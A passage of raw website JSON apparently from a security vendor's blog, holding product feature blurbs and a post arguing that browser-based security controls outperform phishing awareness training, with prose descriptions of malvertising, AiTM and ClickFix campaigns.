control",{"data":4893,"content":4894,"nodeType":1835},{},[4895],{"data":4896,"content":4897,"nodeType":866},{},[4898],{"data":4899,"marks":4900,"value":4901,"nodeType":865},{},[],"Enforces which AI tools employees can access and routes usage to corporate tenants. Governs AI browser extensions and blocks OAuth consent grants to unapproved AI applications — drawing on the same Tier 1 capabilities (OAuth governance, extension security, shadow SaaS discovery) that make this possible.",{"data":4903,"content":4904,"nodeType":1869},{},[4905,4916],{"data":4906,"content":4907,"nodeType":1835},{},[4908],{"data":4909,"content":4910,"nodeType":866},{},[4911],{"data":4912,"marks":4913,"value":4915,"nodeType":865},{},[4914],{"type":961},"Security investigations & incident response",{"data":4917,"content":4918,"nodeType":1835},{},[4919],{"data":4920,"content":4921,"nodeType":866},{},[4922],{"data":4923,"marks":4924,"value":4925,"nodeType":865},{},[],"High-fidelity session telemetry — page loads, credential entries, DOM changes, OAuth grants — fills the missing middle that endpoint, network, and IdP logs leave open. Feeds directly into SIEM and SOAR for automated response.",{"data":4927,"content":4928,"nodeType":1869},{},[4929,4940],{"data":4930,"content":4931,"nodeType":1835},{},[4932],{"data":4933,"content":4934,"nodeType":866},{},[4935],{"data":4936,"marks":4937,"value":4939,"nodeType":865},{},[4938],{"type":961},"Infostealer defense",{"data":4941,"content":4942,"nodeType":1835},{},[4943],{"data":4944,"content":4945,"nodeType":866},{},[4946],{"data":4947,"marks":4948,"value":4949,"nodeType":865},{},[],"Intercepts ClickFix-based infostealer delivery before execution. Detects token replay in unenrolled browser contexts — catching post-theft abuse from AiTM-sourced tokens and infostealer-harvested cookies, including from unmanaged devices.",{"data":4951,"content":4952,"nodeType":1869},{},[4953,4964],{"data":4954,"content":4955,"nodeType":1835},{},[4956],{"data":4957,"content":4958,"nodeType":866},{},[4959],{"data":4960,"marks":4961,"value":4963,"nodeType":865},{},[4962],{"type":961},"Data loss prevention",{"data":4965,"content":4966,"nodeType":1835},{},[4967],{"data":4968,"content":4969,"nodeType":866},{},[4970],{"data":4971,"marks":4972,"value":4973,"nodeType":865},{},[],"Observes file uploads, downloads, and sensitive data inputs across all applications. Extends data loss visibility to BYOD and contractor devices where endpoint DLP cannot reach.",{"data":4975,"content":4976,"nodeType":1869},{},[4977,4987],{"data":4978,"content":4979,"nodeType":1835},{},[4980],{"data":4981,"content":4982,"nodeType":866},{},[4983],{"data":4984,"marks":4985,"value":4654,"nodeType":865},{},[4986],{"type":961},{"data":4988,"content":4989,"nodeType":1835},{},[4990],{"data":4991,"content":4992,"nodeType":866},{},[4993],{"data":4994,"marks":4995,"value":4996,"nodeType":865},{},[],"Custom URL blocklists with wildcard support and REST API management for threat intelligence feed sync. Application category blocking restricts access to classes of apps (file-sharing, unsanctioned AI tools) configurable by user group. Domain categorization bringing SWG-style category blocking natively to the browser without a network proxy.",{"data":4998,"content":4999,"nodeType":953},{},[],{"data":5001,"content":5002,"nodeType":866},{},[5003,5007,5013],{"data":5004,"marks":5005,"value":5006,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":5008,"content":5009,"nodeType":882},{"uri":1728},[5010],{"data":5011,"marks":5012,"value":2812,"nodeType":865},{},[],{"data":5014,"marks":5015,"value":21,"nodeType":865},{},[],"The top 10 security problems you can solve in the browser — ranked by value","Ranking the security problems you can solve in the browser by security value and browser fit.","2026-05-14T00:00:00.000Z","the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value",{"items":5021},[5022,5024],{"sys":5023,"name":297},{"id":2828},{"sys":5025,"name":2825},{"id":2824},{"items":5027},[5028],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":5031},"Alex Henshall","Alex",{"url":5032},"https://images.ctfassets.net/y1cdw1ablpvd/2rz3Pre3b1MexPIQ4hzPUe/0ef8a092b7e7df00fbce3f7d1ccb96d1/Alex_Henshall.jpeg","crossing-the-ai-security-chasm-sans-security-maturity-model","blog/crossing-the-ai-security-chasm-sans-security-maturity-model",{"json":5036},{"data":5037,"content":5038,"nodeType":1739},{},[5039],{"data":5040,"content":5041,"nodeType":866},{},[5042],{"data":5043,"marks":5044,"value":5045,"nodeType":865},{},[],"Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress – and what it actually takes to get unstuck.","Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress - and what it actually takes to get unstuck.",{"id":5048,"publishedAt":5049},"6Xn377JQfbDz49Np74cbGl","2026-08-12T12:00:43.789Z",{"items":5051},[5052,5054],{"sys":5053,"name":297},{"id":2828},{"sys":5055,"name":2825},{"id":2824},{"items":5057},[5058,5060,5062,5064,5066,5068,5070,5072,5074,5076,5078,5080,5082],{"sys":5059,"name":235,"slug":236,"tier":31},{"id":232},{"sys":5061,"name":297,"slug":298,"tier":31},{"id":294},{"sys":5063,"name":279,"slug":280,"tier":31},{"id":276},{"sys":5065,"name":519,"slug":520,"tier":31},{"id":516},{"sys":5067,"name":580,"slug":581,"tier":45},{"id":577},{"sys":5069,"name":252,"slug":253,"tier":45},{"id":249},{"sys":5071,"name":315,"slug":316,"tier":45},{"id":312},{"sys":5073,"name":360,"slug":361,"tier":45},{"id":357},{"sys":5075,"name":261,"slug":262,"tier":45},{"id":258},{"sys":5077,"name":288,"slug":289,"tier":45},{"id":285},{"sys":5079,"name":484,"slug":485,"tier":45},{"id":481},{"sys":5081,"name":368,"slug":369,"tier":45},{"id":365},{"sys":5083,"name":457,"slug":458,"tier":45},{"id":454},"9MwsjcrxUUVzXns3KGAsw5P2iaR5ftXXtYxjz2_kW4o",{"id":5086,"title":5087,"authorsCollection":5088,"content":5092,"extension":228,"faqItemsCollection":5637,"faqTitle":59,"featured":6,"hashTags":59,"meta":5639,"metaTitle":5640,"ogImage":59,"postType":1783,"publishedDate":1784,"relatedBlogPostsCollection":5641,"slug":8387,"stem":8388,"subtitle":59,"summary":8389,"synopsis":8400,"sys":8401,"tagsCollection":8404,"topicsCollection":8411,"__hash__":8441},"blog/blog/why-your-training-budget-belongs-in-real-time-browser-security.json","Why your training budget belongs in real-time browser security",{"items":5089},[5090],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":5091},{"url":853},{"json":5093,"links":5602},{"data":5094,"content":5095,"nodeType":1739},{},[5096,5103,5110,5137,5143,5149,5157,5190,5197,5200,5208,5215,5256,5298,5317,5353,5369,5372,5380,5387,5404,5411,5417,5424,5430,5433,5441,5465,5472,5491,5498,5505,5534,5542,5549,5556,5563,5571,5574,5580,5586],{"data":5097,"content":5098,"nodeType":866},{},[5099],{"data":5100,"marks":5101,"value":5102,"nodeType":865},{},[],"The compliance email arrives on schedule: \"All employees must complete annual security awareness training by Friday.\" Across the organization, hundreds of employees skim through presentations about phishing emails, answer predictable quiz questions, and return to work feeling modestly more informed about cybersecurity.",{"data":5104,"content":5105,"nodeType":866},{},[5106],{"data":5107,"marks":5108,"value":5109,"nodeType":865},{},[],"Two weeks later, an employee in the marketing department — encouraged by the company's AI adoption initiative — searches Google for \"ChatGPT\" to access the tool they'd been told to start using. They click the top result, a sponsored ad pointing to a chatgpt.com URL. The page displays a professional-looking ChatGPT service disruption notice: \"We're experiencing high traffic right now. Download our desktop app to continue.\" They click the download button, which redirects to a pixel-perfect clone of ChatGPT's official download page. The file they install is an infostealer.",{"data":5111,"content":5112,"nodeType":866},{},[5113,5117,5124,5128,5133],{"data":5114,"marks":5115,"value":5116,"nodeType":865},{},[],"This scenario is fictional, but the campaign behind it isn't. Push researchers ",{"data":5118,"content":5119,"nodeType":882},{"uri":3135},[5120],{"data":5121,"marks":5122,"value":5123,"nodeType":865},{},[],"detected and blocked exactly this attack",{"data":5125,"marks":5126,"value":5127,"nodeType":865},{},[]," across multiple customer environments. The attackers had used ChatGPT's own code-rendering feature to build a fully designed fake service page hosted on chatgpt.com itself, then drove traffic to it through search ads targeting queries like \"chatgpt,\" \"chatgpt free,\" and common typos. The destination URL was genuine, and the page looked like a real system notice. Every URL reputation check in the world considers chatgpt.com safe, because it ",{"data":5129,"marks":5130,"value":5132,"nodeType":865},{},[5131],{"type":944},"is",{"data":5134,"marks":5135,"value":5136,"nodeType":865},{},[]," safe — except when an attacker builds a weapon inside it.",{"data":5138,"content":5142,"nodeType":925},{"target":5139},{"sys":5140},{"id":5141,"type":922,"linkType":923},"1GYWOyHpZT1rdTm6IGOKu8",[],{"data":5144,"content":5148,"nodeType":925},{"target":5145},{"sys":5146},{"id":5147,"type":922,"linkType":923},"33VcchmCetvLzSGcbazex3",[],{"data":5150,"content":5151,"nodeType":866},{},[5152],{"data":5153,"marks":5154,"value":5156,"nodeType":865},{},[5155],{"type":961},"No amount of training prepares someone to suspect a legitimate-looking page on a legitimate domain for a tool they've been explicitly told to use.",{"data":5158,"content":5159,"nodeType":866},{},[5160,5164,5173,5177,5186],{"data":5161,"marks":5162,"value":5163,"nodeType":865},{},[],"These scenarios aren’t unusual. We’ve covered ",{"data":5165,"content":5167,"nodeType":882},{"uri":5166},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/",[5168],{"data":5169,"marks":5170,"value":5172,"nodeType":865},{},[5171],{"type":997},"multiple campaigns",{"data":5174,"marks":5175,"value":5176,"nodeType":865},{},[]," involving ",{"data":5178,"content":5180,"nodeType":882},{"uri":5179},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/",[5181],{"data":5182,"marks":5183,"value":5185,"nodeType":865},{},[5184],{"type":997},"LinkedIn-delivered",{"data":5187,"marks":5188,"value":5189,"nodeType":865},{},[]," phishing attacks, where attackers compromised LinkedIn accounts and sent phishing links via direct message to first-degree connections — routing victims through trusted sites to a session-harvesting AITM page. The targets had every reason to trust the message: it came from someone they knew, on a platform they used daily for work.",{"data":5191,"content":5192,"nodeType":866},{},[5193],{"data":5194,"marks":5195,"value":5196,"nodeType":865},{},[],"These are the kinds of attacks that organizations are dealing with every single day. And that recent awareness training checkbox makes absolutely zero difference to the outcome. ",{"data":5198,"content":5199,"nodeType":953},{},[],{"data":5201,"content":5202,"nodeType":963},{},[5203],{"data":5204,"marks":5205,"value":5207,"nodeType":865},{},[5206],{"type":961},"What the research actually shows",{"data":5209,"content":5210,"nodeType":866},{},[5211],{"data":5212,"marks":5213,"value":5214,"nodeType":865},{},[],"The evidence on training effectiveness is more nuanced than either side of the debate usually admits — but the conclusion for security leaders is the same regardless of where you land.",{"data":5216,"content":5217,"nodeType":866},{},[5218,5222,5230,5234,5240,5244,5252],{"data":5219,"marks":5220,"value":5221,"nodeType":865},{},[],"A ",{"data":5223,"content":5225,"nodeType":882},{"uri":5224},"https://arxiv.org/abs/2506.19899",[5226],{"data":5227,"marks":5228,"value":5229,"nodeType":865},{},[],"2025 study from Purdue University",{"data":5231,"marks":5232,"value":5233,"nodeType":865},{},[]," involving 12,511 employees at a US fintech firm found that anti-phishing training produced no significant effect on click rates (p=0.450) or reporting rates (p=0.417), with effect sizes below 0.01 across every training modality tested. Trained employees actually clicked phishing links at a marginally ",{"data":5235,"marks":5236,"value":5239,"nodeType":865},{},[5237,5238],{"type":944},{"type":961},"higher",{"data":5241,"marks":5242,"value":5243,"nodeType":865},{},[]," rate (10.5%) than the untrained control group (9.8%). A ",{"data":5245,"content":5247,"nodeType":882},{"uri":5246},"https://www.cybersecuritydive.com/news/cybersecurity-awareness-training-research-flaws/803201/",[5248],{"data":5249,"marks":5250,"value":5251,"nodeType":865},{},[],"separate study of 19,789 personnel at UCSD Health",{"data":5253,"marks":5254,"value":5255,"nodeType":865},{},[],", published at IEEE S&P 2025, found that annual training combined with post-click exercises reduced click likelihood by just 2% — and that employees who completed static training actually had worse phishing failure rates. ",{"data":5257,"content":5258,"nodeType":866},{},[5259,5263,5271,5275,5283,5287,5294],{"data":5260,"marks":5261,"value":5262,"nodeType":865},{},[],"Training vendors ",{"data":5264,"content":5266,"nodeType":882},{"uri":5265},"https://hoxhunt.com/blog/the-wall-street-journal-got-it-wrong-phishing-simulations-work-when-done-right",[5267],{"data":5268,"marks":5269,"value":5270,"nodeType":865},{},[],"have argued",{"data":5272,"marks":5273,"value":5274,"nodeType":865},{},[]," that continuous, adaptive, gamified programs produce materially better results, and  a ",{"data":5276,"content":5278,"nodeType":882},{"uri":5277},"https://www.sciencedirect.com/science/article/abs/pii/S0167404823002742",[5279],{"data":5280,"marks":5281,"value":5282,"nodeType":865},{},[],"2024 meta-analysis",{"data":5284,"marks":5285,"value":5286,"nodeType":865},{},[]," supports the claim that active engagement and repeated practice improve outcomes where annual programs don't. The ",{"data":5288,"content":5289,"nodeType":882},{"uri":3240},[5290],{"data":5291,"marks":5292,"value":5293,"nodeType":865},{},[],"Verizon DBIR 2025",{"data":5295,"marks":5296,"value":5297,"nodeType":865},{},[]," found that employees trained within the last 30 days were 4x more likely to report phishing than those trained earlier.",{"data":5299,"content":5300,"nodeType":866},{},[5301,5305,5313],{"data":5302,"marks":5303,"value":5304,"nodeType":865},{},[],"But here's the problem that even the best training program can't solve: Every one of these studies — and virtually every phishing simulation platform on the market — tests email-based phishing. The attacks driving the biggest breaches in 2026 don't arrive by email. They arrive through ",{"data":5306,"content":5308,"nodeType":882},{"uri":5307},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack/",[5309],{"data":5310,"marks":5311,"value":5312,"nodeType":865},{},[],"search engine ads",{"data":5314,"marks":5315,"value":5316,"nodeType":865},{},[],", social media DMs, shared AI chatbot pages on trusted domains, and legitimate OAuth consent flows. Continuous adaptive training may reduce email phishing click rates from 7% to 1.5%, but it has nothing to say about an employee who googles \"ChatGPT\" and lands on a malware delivery page hosted on chatgpt.com.",{"data":5318,"content":5319,"nodeType":866},{},[5320,5324,5332,5336,5344,5348],{"data":5321,"marks":5322,"value":5323,"nodeType":865},{},[],"The deeper issue is structural. Behavioral science calls it the ",{"data":5325,"content":5327,"nodeType":882},{"uri":5326},"https://en.wikipedia.org/wiki/Information_deficit_model",[5328],{"data":5329,"marks":5330,"value":5331,"nodeType":865},{},[],"information deficit model",{"data":5333,"marks":5334,"value":5335,"nodeType":865},{},[],": the assumption that people make risky decisions because they lack information, and that providing more information will fix the problem. This model has been ",{"data":5337,"content":5339,"nodeType":882},{"uri":5338},"https://pmc.ncbi.nlm.nih.gov/articles/PMC8201414/",[5340],{"data":5341,"marks":5342,"value":5343,"nodeType":865},{},[],"debunked across multiple domains",{"data":5345,"marks":5346,"value":5347,"nodeType":865},{},[],", from public health to environmental protection. ",{"data":5349,"marks":5350,"value":5352,"nodeType":865},{},[5351],{"type":961},"People routinely engage in behaviors they know are risky — not because they lack knowledge, but because immediate pressures outweigh abstract training from months ago.",{"data":5354,"content":5355,"nodeType":866},{},[5356,5360,5365],{"data":5357,"marks":5358,"value":5359,"nodeType":865},{},[],"Training can build security culture, help employees understand why controls exist, and create champions who influence peers - and these are important outcomes. What training ",{"data":5361,"marks":5362,"value":5364,"nodeType":865},{},[5363],{"type":944},"cannot",{"data":5366,"marks":5367,"value":5368,"nodeType":865},{},[]," reliably do is serve as a preventive control for split-second decisions made under cognitive load, time pressure, and competing priorities. To make matters worse, most organizations don't even attempt to measure whether it does. ",{"data":5370,"content":5371,"nodeType":953},{},[],{"data":5373,"content":5374,"nodeType":963},{},[5375],{"data":5376,"marks":5377,"value":5379,"nodeType":865},{},[5378],{"type":961},"The attacks training can't address",{"data":5381,"content":5382,"nodeType":866},{},[5383],{"data":5384,"marks":5385,"value":5386,"nodeType":865},{},[],"Even if the training debate were settled — even if continuous adaptive programs reliably reduced email phishing click rates to near zero — the attacks driving the biggest breaches in 2026 don't look like anything a simulation platform tests for.",{"data":5388,"content":5389,"nodeType":866},{},[5390,5394,5400],{"data":5391,"marks":5392,"value":5393,"nodeType":865},{},[],"The LLMShare campaign described above used a genuine chatgpt.com domain to serve a fake page that looked like a routine system notice — no suspicious URL, no grammatical errors, and no visual tells. ClickFix attacks present as routine CAPTCHAs. ConsentFix operates entirely on legitimate Microsoft infrastructure. Device code phishing asks users to enter a code on a real app page. None of these attacks trigger the signals users were trained to look for, and ",{"data":5395,"marks":5396,"value":5399,"nodeType":865},{},[5397,5398],{"type":997},{"type":961},"4 in 5 ClickFix payloads arrive via search engines",{"data":5401,"marks":5402,"value":5403,"nodeType":865},{},[],", not email.",{"data":5405,"content":5406,"nodeType":866},{},[5407],{"data":5408,"marks":5409,"value":5410,"nodeType":865},{},[],"There are countless scenarios where users performing seemingly benign actions on plausible (or even legitimate) sites can result in a compromise. ",{"data":5412,"content":5416,"nodeType":925},{"target":5413},{"sys":5414},{"id":5415,"type":922,"linkType":923},"29vUtbEUam8fhbwnQdINRJ",[],{"data":5418,"content":5419,"nodeType":866},{},[5420],{"data":5421,"marks":5422,"value":5423,"nodeType":865},{},[],"The lesson isn't that employees are incompetent. It's that the attack surface is too broad, the delivery channels are too varied, and the social engineering too convincing for training to function as a primary control — regardless of how it's designed. ",{"data":5425,"content":5429,"nodeType":925},{"target":5426},{"sys":5427},{"id":5428,"type":922,"linkType":923},"7zH48txL9ToiUlgLBHrkng",[],{"data":5431,"content":5432,"nodeType":953},{},[],{"data":5434,"content":5435,"nodeType":963},{},[5436],{"data":5437,"marks":5438,"value":5440,"nodeType":865},{},[5439],{"type":961},"Real-time intervention where attacks execute",{"data":5442,"content":5443,"nodeType":866},{},[5444,5448,5453,5461],{"data":5445,"marks":5446,"value":5447,"nodeType":865},{},[],"The browser is where every phishing attack, credential-harvesting attempt, and social engineering campaign ultimately executes — and where ",{"data":5449,"marks":5450,"value":5452,"nodeType":865},{},[5451],{"type":961},"89% of phishing domains are active for fewer than two days, ",{"data":5454,"content":5456,"nodeType":882},{"uri":5455},"https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security/",[5457],{"data":5458,"marks":5459,"value":5460,"nodeType":865},{},[],"95% of attacks use bot protection to defeat automated scanners",{"data":5462,"marks":5463,"value":5464,"nodeType":865},{},[],", and traditional security architectures have a structural blind spot. ",{"data":5466,"content":5467,"nodeType":866},{},[5468],{"data":5469,"marks":5470,"value":5471,"nodeType":865},{},[],"Network tools see encrypted traffic. Endpoint agents see processes and files. Email security sees messages in transit. None of them can intervene when a user is about to enter credentials into a fake login page.",{"data":5473,"content":5474,"nodeType":866},{},[5475,5479,5487],{"data":5476,"marks":5477,"value":5478,"nodeType":865},{},[],"Browser-based detection and response addresses both the prevention gap and the training gap simultaneously. As a technical control, Push ",{"data":5480,"content":5482,"nodeType":882},{"uri":5481},"https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/",[5483],{"data":5484,"marks":5485,"value":5486,"nodeType":865},{},[],"detects and blocks phishing pages behaviorally",{"data":5488,"marks":5489,"value":5490,"nodeType":865},{},[]," — including AiTM kits, cloned login forms, device code phishing pages, and ClickFix malicious-copy-and-paste events — in real time, regardless of whether the domain is brand-new or the phishing page was delivered via email, social media, or a search ad. ",{"data":5492,"content":5493,"nodeType":866},{},[5494],{"data":5495,"marks":5496,"value":5497,"nodeType":865},{},[],"Push stops the attack as it happens, in real time, before a compromise occurs.",{"data":5499,"content":5500,"nodeType":866},{},[5501],{"data":5502,"marks":5503,"value":5504,"nodeType":865},{},[],"As a contextual education mechanism, Push provides immediate, in-browser feedback when a user encounters a threat — explaining why access was blocked and creating teachable moments at the point of need rather than months before. Every blocked threat becomes a micro-learning opportunity, reinforcing pattern recognition through repetition in the context of the user's actual work. ",{"data":5506,"content":5507,"nodeType":866},{},[5508,5512,5519,5523,5530],{"data":5509,"marks":5510,"value":5511,"nodeType":865},{},[],"Push's ",{"data":5513,"content":5514,"nodeType":882},{"uri":5481},[5515],{"data":5516,"marks":5517,"value":5518,"nodeType":865},{},[],"in-browser controls",{"data":5520,"marks":5521,"value":5522,"nodeType":865},{},[]," are designed to work this way — not by removing users from the security equation, but by making them informed participants. Warn screens with \"proceed anyway\" options, SSO login guidance, and MFA enforcement prompts respect user agency while providing real-time risk context. Our ",{"data":5524,"content":5525,"nodeType":882},{"uri":5481},[5526],{"data":5527,"marks":5528,"value":5529,"nodeType":865},{},[],"controls guide",{"data":5531,"marks":5532,"value":5533,"nodeType":865},{},[]," covers how security teams can configure these guardrails to match their organizational culture and risk tolerance.",{"data":5535,"content":5536,"nodeType":1458},{},[5537],{"data":5538,"marks":5539,"value":5541,"nodeType":865},{},[5540],{"type":961},"Right-sizing security training",{"data":5543,"content":5544,"nodeType":866},{},[5545],{"data":5546,"marks":5547,"value":5548,"nodeType":865},{},[],"Training's role must be right-sized. It builds culture, shared vocabulary, and explains why controls exist — but it cannot reliably serve as the primary preventive control against sophisticated attacks encountered months later under pressure. ",{"data":5550,"content":5551,"nodeType":866},{},[5552],{"data":5553,"marks":5554,"value":5555,"nodeType":865},{},[],"The Purdue study's authors recommend that \"organizations should set realistic expectations about training outcomes and highlight the importance of technical controls rather than human-centered defenses.\" We agree.",{"data":5557,"content":5558,"nodeType":866},{},[5559],{"data":5560,"marks":5561,"value":5562,"nodeType":865},{},[],"Invest in technical controls where attacks execute — in the browser — to provide real-time prevention, detection, and education. Measure what matters: reduction in successful compromise, detection and response time, and employee reporting rates — not training completion. And stop expecting employees to reliably detect pixel-perfect attacks across every channel and workflow. ",{"data":5564,"content":5565,"nodeType":866},{},[5566],{"data":5567,"marks":5568,"value":5570,"nodeType":865},{},[5569],{"type":961},"Overrelying on user vigilance isn't a legitimate security strategy: it's blame allocation.",{"data":5572,"content":5573,"nodeType":953},{},[],{"data":5575,"content":5576,"nodeType":866},{},[5577],{"data":5578,"marks":5579,"value":2792,"nodeType":865},{},[],{"data":5581,"content":5582,"nodeType":866},{},[5583],{"data":5584,"marks":5585,"value":1718,"nodeType":865},{},[],{"data":5587,"content":5588,"nodeType":866},{},[5589,5592,5599],{"data":5590,"marks":5591,"value":21,"nodeType":865},{},[],{"data":5593,"content":5594,"nodeType":882},{"uri":1728},[5595],{"data":5596,"marks":5597,"value":2812,"nodeType":865},{},[5598],{"type":997},{"data":5600,"marks":5601,"value":21,"nodeType":865},{},[],{"entries":5603},{"hyperlink":5604,"inline":5605,"block":5606},[],[],[5607,5615,5621,5629],{"sys":5608,"__typename":1747,"title":5609,"caption":5610,"layoutMode":59,"file":5611},{"id":5141},"LLMShare malvertising","The LLMShare ad uses the legitimate ChatGPT domain and is the top result.",{"url":5612,"width":5613,"height":5614},"https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png",1910,1005,{"sys":5616,"__typename":1747,"title":5617,"caption":5617,"layoutMode":59,"file":5618},{"id":5147},"The clever use of sharing functionality and pixel-perfect download page clone would fool most users (and most technical controls too) — but not Push. ",{"url":5619,"width":1759,"height":5620},"https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png",875,{"sys":5622,"__typename":1747,"title":5623,"caption":5624,"layoutMode":59,"file":5625},{"id":5415},"Don't make employees the weak link image - blog - custom branding","It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.",{"url":5626,"width":5627,"height":5628},"https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png",4046,2160,{"sys":5630,"__typename":5631,"type":5632,"ctaText":5633,"buttonLabel":5634,"buttonColour":5635,"buttonUrl":5636},{"id":5428},"CtaWidget","Custom","For a detailed breakdown of the techniques driving the biggest breaches of the past year, see our 2026 Browser Attack Techniques report.","Download now (no gates!)","sunny orange","https://pushsecurity.com/thank-you/browser-attacks-report",{"items":5638},[],{},"Why your training budget belongs in browser security",{"items":5642},[5643,6396,7306],{"__typename":1788,"sys":5644,"content":5645,"title":845,"synopsis":5046,"hashTags":59,"publishedDate":1784,"slug":5033,"tagsCollection":6386,"authorsCollection":6392},{"id":5048},{"json":5646},{"data":5647,"content":5648,"nodeType":1739},{},[5649,5655,5679,5694,5699,5705,5718,5721,5728,5743,5798,5804,5809,5815,5888,5894,5900,5913,5916,5923,5929,5935,5942,5948,5958,5963,5969,5975,5981,5984,5991,6004,6017,6023,6029,6035,6052,6124,6130,6136,6139,6146,6159,6165,6171,6178,6181,6188,6203,6209,6215,6245,6251,6257,6260,6267,6273,6283,6288,6298,6308,6313,6323,6342,6348,6351,6358,6364,6370],{"data":5650,"content":5651,"nodeType":866},{},[5652],{"data":5653,"marks":5654,"value":864,"nodeType":865},{},[],{"data":5656,"content":5657,"nodeType":866},{},[5658,5661,5667,5670,5676],{"data":5659,"marks":5660,"value":873,"nodeType":865},{},[],{"data":5662,"content":5663,"nodeType":882},{"uri":876},[5664],{"data":5665,"marks":5666,"value":881,"nodeType":865},{},[],{"data":5668,"marks":5669,"value":886,"nodeType":865},{},[],{"data":5671,"content":5672,"nodeType":882},{"uri":889},[5673],{"data":5674,"marks":5675,"value":894,"nodeType":865},{},[],{"data":5677,"marks":5678,"value":898,"nodeType":865},{},[],{"data":5680,"content":5681,"nodeType":866},{},[5682,5685,5691],{"data":5683,"marks":5684,"value":905,"nodeType":865},{},[],{"data":5686,"content":5687,"nodeType":882},{"uri":889},[5688],{"data":5689,"marks":5690,"value":912,"nodeType":865},{},[],{"data":5692,"marks":5693,"value":916,"nodeType":865},{},[],{"data":5695,"content":5698,"nodeType":925},{"target":5696},{"sys":5697},{"id":921,"type":922,"linkType":923},[],{"data":5700,"content":5701,"nodeType":866},{},[5702],{"data":5703,"marks":5704,"value":932,"nodeType":865},{},[],{"data":5706,"content":5707,"nodeType":866},{},[5708,5711,5715],{"data":5709,"marks":5710,"value":939,"nodeType":865},{},[],{"data":5712,"marks":5713,"value":945,"nodeType":865},{},[5714],{"type":944},{"data":5716,"marks":5717,"value":949,"nodeType":865},{},[],{"data":5719,"content":5720,"nodeType":953},{},[],{"data":5722,"content":5723,"nodeType":963},{},[5724],{"data":5725,"marks":5726,"value":962,"nodeType":865},{},[5727],{"type":961},{"data":5729,"content":5730,"nodeType":866},{},[5731,5734,5740],{"data":5732,"marks":5733,"value":970,"nodeType":865},{},[],{"data":5735,"content":5736,"nodeType":882},{"uri":973},[5737],{"data":5738,"marks":5739,"value":978,"nodeType":865},{},[],{"data":5741,"marks":5742,"value":982,"nodeType":865},{},[],{"data":5744,"content":5745,"nodeType":1049},{},[5746,5760,5774],{"data":5747,"content":5748,"nodeType":1003},{},[5749],{"data":5750,"content":5751,"nodeType":866},{},[5752,5757],{"data":5753,"marks":5754,"value":998,"nodeType":865},{},[5755,5756],{"type":961},{"type":997},{"data":5758,"marks":5759,"value":1002,"nodeType":865},{},[],{"data":5761,"content":5762,"nodeType":1003},{},[5763],{"data":5764,"content":5765,"nodeType":866},{},[5766,5771],{"data":5767,"marks":5768,"value":1015,"nodeType":865},{},[5769,5770],{"type":961},{"type":997},{"data":5772,"marks":5773,"value":1019,"nodeType":865},{},[],{"data":5775,"content":5776,"nodeType":1003},{},[5777],{"data":5778,"content":5779,"nodeType":866},{},[5780,5785,5788,5795],{"data":5781,"marks":5782,"value":1031,"nodeType":865},{},[5783,5784],{"type":961},{"type":997},{"data":5786,"marks":5787,"value":1035,"nodeType":865},{},[],{"data":5789,"content":5790,"nodeType":882},{"uri":1038},[5791],{"data":5792,"marks":5793,"value":1044,"nodeType":865},{},[5794],{"type":997},{"data":5796,"marks":5797,"value":1048,"nodeType":865},{},[],{"data":5799,"content":5800,"nodeType":866},{},[5801],{"data":5802,"marks":5803,"value":1056,"nodeType":865},{},[],{"data":5805,"content":5808,"nodeType":925},{"target":5806},{"sys":5807},{"id":1061,"type":922,"linkType":923},[],{"data":5810,"content":5811,"nodeType":866},{},[5812],{"data":5813,"marks":5814,"value":1069,"nodeType":865},{},[],{"data":5816,"content":5817,"nodeType":1049},{},[5818,5832,5846,5860,5874],{"data":5819,"content":5820,"nodeType":1003},{},[5821],{"data":5822,"content":5823,"nodeType":866},{},[5824,5829],{"data":5825,"marks":5826,"value":1084,"nodeType":865},{},[5827,5828],{"type":961},{"type":997},{"data":5830,"marks":5831,"value":1088,"nodeType":865},{},[],{"data":5833,"content":5834,"nodeType":1003},{},[5835],{"data":5836,"content":5837,"nodeType":866},{},[5838,5843],{"data":5839,"marks":5840,"value":1100,"nodeType":865},{},[5841,5842],{"type":961},{"type":997},{"data":5844,"marks":5845,"value":1104,"nodeType":865},{},[],{"data":5847,"content":5848,"nodeType":1003},{},[5849],{"data":5850,"content":5851,"nodeType":866},{},[5852,5857],{"data":5853,"marks":5854,"value":1116,"nodeType":865},{},[5855,5856],{"type":961},{"type":997},{"data":5858,"marks":5859,"value":1120,"nodeType":865},{},[],{"data":5861,"content":5862,"nodeType":1003},{},[5863],{"data":5864,"content":5865,"nodeType":866},{},[5866,5871],{"data":5867,"marks":5868,"value":1132,"nodeType":865},{},[5869,5870],{"type":961},{"type":997},{"data":5872,"marks":5873,"value":1136,"nodeType":865},{},[],{"data":5875,"content":5876,"nodeType":1003},{},[5877],{"data":5878,"content":5879,"nodeType":866},{},[5880,5885],{"data":5881,"marks":5882,"value":1148,"nodeType":865},{},[5883,5884],{"type":961},{"type":997},{"data":5886,"marks":5887,"value":1152,"nodeType":865},{},[],{"data":5889,"content":5890,"nodeType":866},{},[5891],{"data":5892,"marks":5893,"value":1159,"nodeType":865},{},[],{"data":5895,"content":5896,"nodeType":866},{},[5897],{"data":5898,"marks":5899,"value":1166,"nodeType":865},{},[],{"data":5901,"content":5902,"nodeType":866},{},[5903,5906,5910],{"data":5904,"marks":5905,"value":1173,"nodeType":865},{},[],{"d